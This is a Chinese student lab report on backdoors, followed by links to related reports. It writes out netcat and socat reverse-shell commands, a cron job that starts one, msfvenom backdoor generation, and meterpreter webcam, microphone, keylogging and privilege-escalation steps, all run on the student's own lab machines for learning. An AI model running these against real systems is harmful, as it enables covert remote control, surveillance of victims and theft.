1 实验内容

1.1实验主要内容

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

1.2 基础问题

1.2.1 例举你能想到的一个后门进入到你系统中的可能方式?

可能会在一些非正规的网站下载资源,下载得到的文件里面可能会包含有后门;在钓鱼网站上点击不安全的链接;陌生人发来的邮件中,不明的文件或者链接。

1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?

在windows中可以通过直接双击后门程序执行,也可以像实验中通过任务计划程序启动后门,如果它添加到了自启动项目,在开机的时候会启动,如果它跟其他软件捆绑在一起,运行其他软件也会一起被启动;在linux中可以像实验中,通过cron指令制定任务来启动程序。

1.2.3 Meterpreter有哪些给你映像深刻的功能?

获取摄像头的照片,还有记录键盘的功能很深刻,通过meterpreter的功能,我自己体验了一回在电影斯诺登档案里面,经过别人电脑的摄像头观察到的画面,令人震惊,我决定要把自己电脑的摄像头也蒙住;文件记录功能,我做实验的时候,尝试了一次在文本文档里输入,又不太相信任何键盘输入都能记录,当时做实验的时候正在截图,然后就试了一下在另存为的对话框里重命名,没想也全部记录了,真的很强大。

1.2.4 如何发现自己有系统有没有被安装后门?

最能想到就是用现在市面上各种各样的杀毒软件进行查杀,因为在做实验的时候把防火墙和杀毒软件关了,所以后门程序一直在,但是我发现,当做完实验把杀毒软件一开,后门程序就很容易被删除了;还可以通过观察注册表什么的,有没有back door有关信息来发现。

1.3 实验准备

1.3.1 获取IP地址

在Windows的cmd中使用命令  ipconfig 查看IP地址。

由图可知,Windows的IP地址为192.168.1.212。

在linux的终端中使用命令 ifconfig 查看IP地址。

由图可知,linux的IP地址为192.168.1.121。

1.3.2 Windows获得linux的shell

Windows用命令 ncat.exe -l -p 监听4302端口,等待其他机器连接该端口。

kali使用命令 nc 192.168.28.166 -e /bin/sh 反弹连接Windows,提供自己的shell。

Windows获得了linux的shell,可以执行linux的相关命令,例ls。

1.3.3 linux获得Windows的shell

与上面的步骤相似,在linux中用命令 nc -l -p 设置监听本地4302端口。Windows使用命令 ncat.exe -e cmd.exe 192.168.1.121 反弹连接linux,提供自己的shell。

linux获得Windows的shell,可以执行相关命令,例dir。

1.3.4 传输数据

Windows监听4302端口 ncat.exe -l ,linux连接Windows的4302端口 nc 192.168.1.212 ,然后两台机器就可以互相传输信息了。

1.3.5 实验环境

为了方便之后实验中后门程序的运行,提前关闭Windows主机上的杀毒软件和防火墙。

2 实验步骤

2.1 使用netcat获取主机操作Shell,cron启动

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

crontab文件的含义:

用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command

2.1.1 设置定时启动

用指令 crontab -e 编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“3”,利用vim编辑器进行编辑。

点击“i”进入编辑模式,在最后一行添加  * * * * /bin/netcat 192.168.1.212 -e /bin/sh ,意思是每小时的33分会反向连接Windows的4302端口。

按Esc键退出编辑模式,输入 :wq 保存并退出。

截个图,等个3分钟,到33分后,Windows获得linux的shell,可执行相关命令,例ls。

2.2 使用socat获取主机操作Shell, 任务计划启动

在Windows下,打开:控制面板->管理工具->任务计划程序。

在操作选项中,选择“创建任务”,填写任务名称20164302。

新建触发,选择开始任务时间为:工作站锁定时。

新建操作,选择启动的程序为socat.exe,参数项填写 tcp-listen: exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。

创建完成之后,选择创建的任务点击操作选项的“运行”,任务的状态成为“正在运行”。

在kali终端输入指令 socat - tcp:192.168.1.121:

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 生成后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.121 LPORT= -f exe > 20164302_backdoor.exe

注:这里设置的主机IP和端口均为linux的IP、端口

2.3.2 将生成的后门传送到Windows主机上

在Windows上运行 ncat.exe -lv > 20164302_backdoor.exe 指令,等待接受后门程序。

图中前两行是Windows正在监听,后两行是在kali上运行 nc 192.168.1.212 < 20164302_backdoor.exe 命令,将后门程序传输到Windows主机上在显示的。

PS:这里突然想试一下从其他湍口传输可不可以,用的端口号是高中的学号,也成功完成了后门程序的传输。

2.3.3 进入msf控制台进行配置

在kali上使用 msfconsole 命令,进入msf控制台。

use exploit/multi/handler              //进入handler模块

set payload windows/meterpreter/reverse_tcp   //对应生成的后门程序设置payload

输入 show options 查看利用模块的设置信息。

设置主机IP和端口

set LHOST 192.168.1.121              //配置模块的设置信息,这里是设置本主机kali的IP

set LPORT                    //设置本主机的端口

再次使用 show options 查看设置。

输入 exploit 运行模块。

在Windows上运行后门程序20164302_backdoor.exe。

查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例dir。

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 获取目标主机音频、摄像头、击键内容等内容

获取目标主机的音频和截屏内容

record_mic    //音频

screenshot    //截屏

使用命令 webcam_snap 可以获取摄像头所拍摄的照片。

这就是获得的摄像头照片,简直是猝不及防,本年度最囧自拍。。。。

在kali上输入指令 keyscan_start ,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令 keyscan_dump ,就可以读取键盘记录。

第一次的时候,没有在Windows在进行任何输入,就直接keyscan_dump了,然后,就什么也没有输出。

之后又进行了尝试,在Windows上新建了一个文本文档,随便输入了一串字符。

可以看到输出的内容是一致的,至于“38”,是想看一下其他形式的键盘记录,这是当时在截图,对图片进行另存为操作,在对话框中输入的编号,也成功记录了。

2.4.2 提权

先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权。 然后发现提权失败。。。还不甘心的多试了几次

然后问了一下我们小组的组长,他也有同样的问题,上网搜索,发现需要以管理员身份运行后门程序,才能提权。

所以,exit一下,到后门程序所在文件夹ncat,找到20164302_backdoor.exe,右键,以管理员身份运行,然后再试一次,成功提权。

3 实验感想

通过本次的实验,对于后门的原理有了进一步的认识,对后门的形成、植入并利用后门进行攻击等操作有了初步的了解,自己的水平还不够高,所以实验还是参照学长学姐和其他同学的博客进行的,虽然实验做完了但实验步骤中一些详细内容我还没有理解,需要继续花时间弄懂,整体感觉上,这次的实践内容比上次的实验稍微轻松了一些,也比较好玩,过程中充满了乐趣,希望通过一次次有趣的实验,不仅能学到东西,也能提高自己对这门课的兴趣,把这门课真正的学好。

Exp2 后门原理与实践 20164302 王一帆的更多相关文章

  1. Exp3 免杀原理与实践 20164302 王一帆

    1 实践内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程( ...

  2. 20155204 王昊《网络对抗技术》EXP2 后门原理与实践

    20155204 王昊<网络对抗技术>EXP2 后门原理与实践 一.实验内容 准备工作(试用ncat.socat) 1. 使用netcat获取主机操作Shell,cron启动. 明确目标: ...

  3. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

  4. 2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp2 后门原理与实践 课上知识点梳理总结 1.后门的概述 后门是指不经过正常认证流程而访问系统的通道 两个关键词:未认证.隐通道 ...

  5. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  6. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  7. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  8. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  9. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

随机推荐

  1. Mac平台Clion配置GLFW+GLAD的项目

    前期的准备工作详见LearnOpenGL CN 看这篇教程的前提是假设你已经编译好了GLFW文件夹以及下载好了GLAD,不会的话可以看我的另一篇 文章的前部分: 配置 Clion新建一个项目,CMak ...

  2. 【bzoj 2159】Crash 的文明世界

    Description Crash小朋友最近迷上了一款游戏——文明5(Civilization V).在这个游戏中,玩家可以建立和发展自己的国家,通过外交和别的国家交流,或是通过战争征服别的国家.现在 ...

  3. typescript + echarts-for-react 制作渐变柱状图, 提示[ts] 类型“Graphic”上不存在属性“LinearGradient”

    更新: 2019/03 无意间发现Graphic上已有 LinearGradient属性 

  4. react-native不是内部或 外部命令,也不是可运行的程序或批处理文件

    1.执行node命令时提示:node不是内部或外部命令,也不是可运行的程序或批处理文件. 原因环境变量没有指向node安装目录 path:C:\Program Files\nodejs\ 2.reac ...

  5. 产品研发不等待 i.MX6Q全新推出增强版本 官方店铺下单双重优惠

    迅为全新推出PLUS版本的i.MX6Q方案,版本介绍:它是NXP公司全新推出的i.MX6Q增强版新品,显著增强了图形和存储器性能,面向较高图形性能的先进消费电子.汽车和工业多媒体应用的多核平台.

  6. Git(2):本地版本库的一些操作

    参考链接:https://www.cnblogs.com/zhuwq585/p/6390542.html

  7. 安装YApi 接口管理平台

    yum install mongodb yum install -y nodejs git clone https://gitee.com/mirrors/YApi.git 克隆项目到本地 使用命令进 ...

  8. 【easy】Number of Segments in a String 字符串中的分段数量

    以空格为分隔符,判断一个string可以被分成几部分. 注意几种情况:(1)全都是空格 (2)空字符串(3)结尾有空格 思路: 只要统计出单词的数量即可.那么我们的做法是遍历字符串,遇到空格直接跳过, ...

  9. .Net Core---- WebApi生成Swagger接口文档

    1. Swagger是什么? Swagger 是一个规范和完整的框架,用于生成.描述.调用和可视化 RESTful 风格的 Web 服务.总体目标是使客户端和文件系统作为服务器以同样的速度来更新.文件 ...

  10. WPF 10天修炼 第十天- WPF数据绑定

    WPF数据绑定 数据绑定到元素属性是将源对象指定为一个WPF元素,并且源属性是一个依赖属性,依赖属性内置了变更通知.当改变源对象依赖属性值之后,绑定目标可以立即得到更新,开发人员不需要手动编写响应事件 ...